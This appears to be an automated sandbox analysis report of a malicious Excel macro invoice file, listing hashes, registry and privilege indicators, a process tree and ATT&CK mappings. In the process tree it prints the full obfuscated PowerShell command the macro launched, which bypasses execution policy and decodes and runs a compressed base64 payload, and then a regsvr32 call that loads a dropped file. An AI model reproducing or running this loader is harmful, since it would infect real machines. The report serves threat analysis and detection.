bfee589efb80fccdc2c19e16b54fa19d2a9ee7f5c359e0340cd568dce09f8ecb

Analysis

max time kernel
141s
max time network
150s
platform
windows10_x64
resource
win10v200430
submitted
24/06/2020, 13:37

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General

Target
INV_509968_Service_31798.xlsm
Size 102KB
Sample200624-avfeahveqn
SHA256 bfee589efb80fccdc2c19e16b54fa19d2a9ee7f5c359e0340cd568dce09f8ecb
MD5 4dd9dfc92887e8c02cbc54a2abf73fb2
SHA1 f7586d41577ed314ef5794072ddffef838996088
SHA512 30be749d1e0f8968f1e7a85553217f9282f4958f107225a60dbebabc3d900f0f2c15e757bd865c094b66938a9f64f8c813fc7b22b07fb4ece5175cd01c1c6c4a
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE
1628	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1628	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3252	1628	powershell.exe	67

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 3252	1628	EXCEL.EXE	73
PID 1628 wrote to memory of 3252	1628	EXCEL.EXE	73
PID 3252 wrote to memory of 2032	3252	powershell.exe	76
PID 3252 wrote to memory of 2032	3252	powershell.exe	76

Suspicious use of AdjustPrivilegeToken 55 IoCs

description	pid	Process
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeIncreaseQuotaPrivilege	3252	powershell.exe
Token: SeSecurityPrivilege	3252	powershell.exe
Token: SeTakeOwnershipPrivilege	3252	powershell.exe
Token: SeLoadDriverPrivilege	3252	powershell.exe
Token: SeSystemProfilePrivilege	3252	powershell.exe
Token: SeSystemtimePrivilege	3252	powershell.exe
Token: SeProfSingleProcessPrivilege	3252	powershell.exe
Token: SeIncBasePriorityPrivilege	3252	powershell.exe
Token: SeCreatePagefilePrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeRestorePrivilege	3252	powershell.exe
Token: SeShutdownPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeSystemEnvironmentPrivilege	3252	powershell.exe
Token: SeRemoteShutdownPrivilege	3252	powershell.exe
Token: SeUndockPrivilege	3252	powershell.exe
Token: SeManageVolumePrivilege	3252	powershell.exe
Token: 33	3252	powershell.exe
Token: 34	3252	powershell.exe
Token: 35	3252	powershell.exe
Token: 36	3252	powershell.exe
Token: SeIncreaseQuotaPrivilege	3252	powershell.exe
Token: SeSecurityPrivilege	3252	powershell.exe
Token: SeTakeOwnershipPrivilege	3252	powershell.exe
Token: SeLoadDriverPrivilege	3252	powershell.exe
Token: SeSystemProfilePrivilege	3252	powershell.exe
Token: SeSystemtimePrivilege	3252	powershell.exe
Token: SeProfSingleProcessPrivilege	3252	powershell.exe
Token: SeIncBasePriorityPrivilege	3252	powershell.exe
Token: SeCreatePagefilePrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeRestorePrivilege	3252	powershell.exe
Token: SeShutdownPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeSystemEnvironmentPrivilege	3252	powershell.exe
Token: SeRemoteShutdownPrivilege	3252	powershell.exe
Token: SeUndockPrivilege	3252	powershell.exe
Token: SeManageVolumePrivilege	3252	powershell.exe
Token: 33	3252	powershell.exe
Token: 34	3252	powershell.exe
Token: 35	3252	powershell.exe
Token: 36	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeSecurityPrivilege	3252	powershell.exe
Token: SeSecurityPrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeSecurityPrivilege	3252	powershell.exe
Token: SeSecurityPrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe
Token: SeBackupPrivilege	3252	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\INV_509968_Service_31798.xlsm"
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WiN 01 -ep bypAss -nOnINtEr -noprof "&(\"{0}{1}\" -f'sa','l') (\"{1}{0}\"-f 't',(\"{0}{1}\" -f'c','oun')) (\"{2}{1}{0}{3}\"-f 'e',(\"{0}{1}\" -f '-Ob','j'),'New','ct');si varIable:jT1F0 ([type](\"{1}{2}{0}{3}\"-f 'StEM','S','y','.CoNveRT') ) ;Sv ('71'+'4') ( [TypE](\"{3}{7}{6}{5}{0}{8}{10}{4}{2}{9}{1}\" -f 'om','de','Ionm','SYsTeM','N.cOmPrEsS','C','.','.iO','PReSSi','o','O') ); sV (\"f7Ut\"+\"Rh\") ( [TYpe](\"{2}{3}{1}{0}\"-f'nCOdiNG','T.E','Te','x') ); . ( ([StrINg]${VE`R`BoSe`PRef`ERENCe})[1,3]+'X'-jOiN'')(&(\"{0}{1}\" -f'cou','nt') (\"{1}{2}{3}{0}\" -f'ReAdeR','io','.','sTReAm')( ( &(\"{1}{0}\"-f 'ount','c') (\"{3}{5}{4}{2}{0}{1}\" -f 'estrEa','M','SIoN.dEflAT','SySTEm.i','s','o.COMpre')( [Io.mEMORYsTReaM] ( iTEm VAriABle:Jt1f0 ).vALue::(\"{0}{3}{2}{1}{4}\"-f 'F','se64StriN','mBA','ro','g').Invoke((\"{46}{47}{23}{60}{56}{0}{3}{21}{48}{24}{67}{19}{4}{25}{12}{22}{27}{53}{20}{65}{38}{55}{68}{31}{63}{33}{11}{61}{57}{49}{26}{40}{8}{35}{62}{6}{59}{50}{37}{7}{13}{45}{39}{44}{36}{30}{32}{9}{15}{29}{64}{10}{52}{1}{2}{41}{18}{42}{17}{28}{14}{5}{54}{43}{16}{66}{34}{58}{51}\" -f '4lZ04','oyIio6Y','CWl6k+Q1OHvGFuEXMUP/ojk3ycxyrnnjqZYro6PqTLvfHQ3PE','Z9NISrU','/4rmwSdKXzVilU','arPU3FjYbASLr9JkPow8+9c4RGBXPfAkxpXp+Y9zZ18Xcxna9ns7wz','IaT6zF4Uv+YI+HEniQVs0uHIBunAk','q/wVGKJcmhJkP+QEErrA','EqrSFrlX9D+EKp01p','wcDpkr44HGesE4Kq0u43GGDXbyjrG5KFBM+Ic6jkNCcbJl64D1zcRSMftyssxxzUVAnkS1yZTdHETl0ywsxyCa7d65LHpQ2Ls+/uDbbgxHm/X4tAxxWiCylW2WxU5UfaGquwy8c8O+q','baZRFKWWUaGcQ/ouEl4gbiSM/IdG22lXHY/9','xrO8D5/WGQ','ZqJygo+4sFw2dTz/s8ENP509DFc9Cn4D/V2uC2JT','Sve0i2IXkAv','MU99dtWjOuyW6nG9ZbV8lsieGdQLy/HMrBVK/','Y+oDCkgvgJwmpKF1SH8tFr4iW550Jvqc3oQleLfpeLCBfBsekiUOg4Bb','8IqK/8+TWsRlQ','Un8qqELBQPUKpxZDwPS85h7O','ZOuayksOk/QNDxzJCn2slZXhTF7s0ICoU4HFtgyDcKrx1BMW5Z/qgbM5itnavx31mrxNEMQdwgsmMuOkCwhMzk/g4Sz/07gjCg','86v9xJ7spbeAB6jIAJs9mDvJ09RRx+vsiXbVe2ZC','9tXQTy9bniX3iMrior+uzhdubH7kSV636swmDaUeHcHaio/Lv','GQsh3MfkEyXH9sAKZMX3uLAQ0ng','fCfMkAurFhG593L3J93d9lsuVMz4gx16prBc8pFRcqs6AbBaS2Qhb25G3yo9tuvVlpalsklhxSF4quTi4hrTZ+XhQdxL4DoJmZ/lL1mjf7ppzDtepzz7NhrGKsHsAKFdI','08lAv9/XyQNulkSUiURTdUo+uldCtPHk1uquJvJUT96+iIGLcPnTv','Oy6nAV/GewrIZdW1qK3XdrSA','U88','XJifUl','yTAgL5XqQzpsW7oXmvA0H','F/E6pFX01GuG2gXnt6CcPV8Ktv8Blr+hXiddknsILiTra79mOf5rid7JogpQ8p2WGs3ZEUOwEy0v5GYqGB/sv','mujfn0berSXD9+3FnOJ/rzzrJFdY4eN+QfFW2RtgDBkMnwVQC','MBBW/Jn2bSqJYsc0BcIZXkDohYnttJV8D8','EUgszvLKYgk277GEVszZ/LoO/KA3S6zIuAVF0yn3sIQYgQAs50YVUzFni8ABl5C5529QZo','H+ajqEG1kZolV5qD474cPjY24rWi0O156z1beoVcsLZGQJVEnHm6kbn6rPquH4P0eGk54QKMz','IzyiJQz4T291k+lbYQM','E1dwszyvsFuI6s33j40F99QLiATPS0Qhd7UgPSCuuDOzhV1jPjkxc/ZkMo5Qq1oUP4emQ8HXh9PdrWK/+rZR9dZ8/GHinCedrBOW0E8qP25wUUxT7kJste8RBx+4nHUe6e34FGHJlOzsODCH+ACQanAi+K2abpMO+evj0TpaPJ4RimYoG25/jRSvCAhqc5+BxmrTwJvn','q+cmOwkeeeNGgpWEJaC3IyN9Rrw/ORB5Ct6cVd5qH0QDJn','xZXCUeg7VcODq8YQx','ieELsRbMV7ACw94','rp/Wm7wVJYCbMMw5SPHA0e4jM/0dN40ix2b/J4mxKD7B/5icZTRKqFZ07KCKm8qe5HKdf+UOaGkZHnlLwJrm+AKN3YYJepTF','KC','CriBUGII','kl0D7jhz9m70','gm1guorPiiESVFeTzt/Ut+TGmMih+aYURAqZ/BMb+uxtlw8n3qosx39iHNTyvwnB2tP5TSGU+dEmwkRH2Y+ZgBU6Cy2KhzeBOgdiGMqBhDXSHQJJNXlnl7MiQgw13UJHyGi2xfZgDaq4hZ+eBRHXmzxhrJdDeQdT','CDeX2a2P2c6Typfj7rOdGLlNIa/eyHiZlM1WgaS1p7YNJesbSqWZGiMS','M1WRSZfJ3Sz7SmMAmo8+TICTI9tv7J7OgMyXAP2V/ACmjrmW04qMqbJqSL41OM68vyE8zFdUSieUpJ10FztW3ZLxeW+eqp6rtp5frIZdt3AXjMQKauC9U5WEbMJBWDlAzmmh6ONu5lAzzg+mMHv8ari0VJ','DmAFb0Vp5gQIDvJC53UU31apkK','dVhtV','+LIEv4rmRyvDcPL+DqzR4/nXkR0cQBZQRjX8dyO0GDckDBJQJHt/37rqQ6Q4N0PxpB0Vz1dL09VZTdnL/f','o58onyNrclGj0v1bo0RiB45uXIrCutFLMaDeOdJ5Asr8TCetbLNCez7ctUfR','pT1t/AuMjRN0RVF5dIc4DQxW/xVdK/r0fl488Hx1/zHOADzr+1vdOgg','tUzbZnZK4BFlD1wfF80LNVqoL9a7qczRKsi6ZeUlt6N9+RwYTk4eBxo9y0VCHnYDZ93Ql3fUM2oetTbTIcYIF/zmejkQo77ruy9r8SAOK32Nq3SsqxYAqr9GvmqjhPZXGphgg6pbcoIHUkHDpM+qG','H/Aw==','zt7nVmKWXhgp8hQG','Vn3Zd','MHeHjENxTjaoNxuJiDH','TQauxsPInJ6m9ZE7YvBE4KVo/3GBpOwl','Eg01iF2SE9DfpchDYFH4ZYeXmnW0s0MPI9U8byxEPm9Z+dOd5Z+y8u1WW9aZ9RDft1kla1p+08uvCerlMXRBQHy/EniQyLTEoE5Sy6+4tise6aYFBu9ecmTRApiLmz70x/RXH6r1uj0jBXijRRSvnx+sX7nQKpplunRq1btbHM8V6e3i1vWhHm/KZL5Ty9rNnFuxYjpyzp7Gx3bBPlzYZGULZq','0wIYlDZaIURt','Tw','YiQxHPMzdJWGT35QkKmEYfRYKAfUAAe6d4hdimI8oDWr16ww67045qiLZH7eUHNTp5EfIET/o3c6XT0qTvKfcqtMyLpFo4SlRGys6uS7q','p+rRbD7gzSTiSNtWaSRCUaQX9HQPL/DI','rU','LjGkpV9Xc3W6ZEnapSIRMnDXjj5J06B9NHlO2erHh3ymYLZ/klFtlCr+Iq2PtDGZ2F','M4IOqMsORrLEVVvhW/szsHHTcP','obLMoAq7TE8P45K0','jDz11q0aPtPTHmz4','KV2m+pneli7ZxdM5GdaAsUfU66Ru+/mKxyRP759VO2CzZ8/VqlTQzq/3sp6rBzpeV69pSKbA2/OzRmbbpXL68ZwfzOn','6xq0DLAAE1Ec8aRNlD9/ZrWHpJye9C2WT7EryIwid3LbbMj4m7KI6igKAau083ZE/jC7QJ/hywALxonbGLaCDrZq70cIyEYcVHc1p3zhhIJkIU5Z4L2UtxC4JX6Qe/h652l7+uz/b3P+3sU0PeePhOCbjr6DL/H9Op0NPMpPwLfasqD3M7Slc','pDvtu/Ez/wzR1GupoOUwewDtRiMx6ax7Iv2p2TvRdUaCkkE1dEMPgNcU6pFRtURxcd+6AYSi') ) , ${7`14}::\"d`eCoMprE`Ss\" )) , ( gv (\"f7UT\"+\"rH\") -Va)::\"UT`F8\") ).(\"{1}{2}{0}\" -f 'end','rEAd','TO').Invoke( )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:3252
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI2F5A.
    3⤵
    PID:2032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1628-1-0x000002575EABB000-0x000002575EABE000-memory.dmp

Download

memory/1628-2-0x000002575EAB6000-0x000002575EABB000-memory.dmp

Download

memory/1628-3-0x000002575EABB000-0x000002575EABE000-memory.dmp

Download